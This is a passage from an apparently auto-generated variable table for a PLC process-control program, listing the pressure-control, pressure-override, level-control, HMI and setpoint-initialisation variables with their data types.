+217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; 